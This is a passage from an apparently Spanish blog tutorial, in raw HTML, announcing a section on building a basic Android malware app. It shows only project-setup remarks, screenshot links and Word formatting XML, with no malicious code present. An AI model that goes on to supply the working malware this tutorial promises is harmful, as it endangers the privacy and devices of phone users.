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" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><b style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;"><br /></span></span></b><span style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">Ya tenemos todo listo para empezar a programar.<br /> </span></span></span><br />
<span style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">3. Creación de un malware básico de android:</span></span></span><br />
<br />
<span style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">Como es mas que evidente esto no va a ser un curso completo de programación para Android, en el</span></span></span><br />
<span style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">caso que nos ocupa, veremos las secciones principales de código y archivos principales, asi como el</span></span></span><br />
<span style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;"> código básico necesario que utilizaremos para crear nuestro malware de Android. </span></span></span></div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<span style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;"> </span></span></span><br />
<span style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;"><span style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;"> Aún así, cualquier programador avispado, podrá asimilar de
forma sencilla y tomar como base lo explicado para profundizar en
este mundillo y subir asi de level su skill en programación de malware
android.</span></span></span>Una vez se ha hecho el build del proyecto, vemos las siguientes carpetas:</span></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;"></span></span></span><a href="http://3.bp.blogspot.com/-M69O94MUJNA/UJRP9CTdAcI/AAAAAAAAAMw/pHL37KTikkM/s1600/img12.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="http://3.bp.blogspot.com/-M69O94MUJNA/UJRP9CTdAcI/AAAAAAAAAMw/pHL37KTikkM/s640/img12.jpg" width="401" /></a></div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<span style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;"> </span></span></span></div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<span style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;"> El archivo MainActívity.java es el archivo principal del proyecto, que por defecto tiene el siguiente código:</span></span></span><br />
</div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-seQHSU7HS9g/UJRRgpuu-wI/AAAAAAAAAM4/fweNGJwXLKM/s1600/img13.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="342" src="http://2.bp.blogspot.com/-seQHSU7HS9g/UJRRgpuu-wI/AAAAAAAAAM4/fweNGJwXLKM/s640/img13.jpg" width="640" /></a></div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<br /></div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<br /></div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<span style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;"> </span></span></span></div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<span style="mso-bidi-font-weight: normal;"><span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;"> </span></span></span><!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--></div>
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
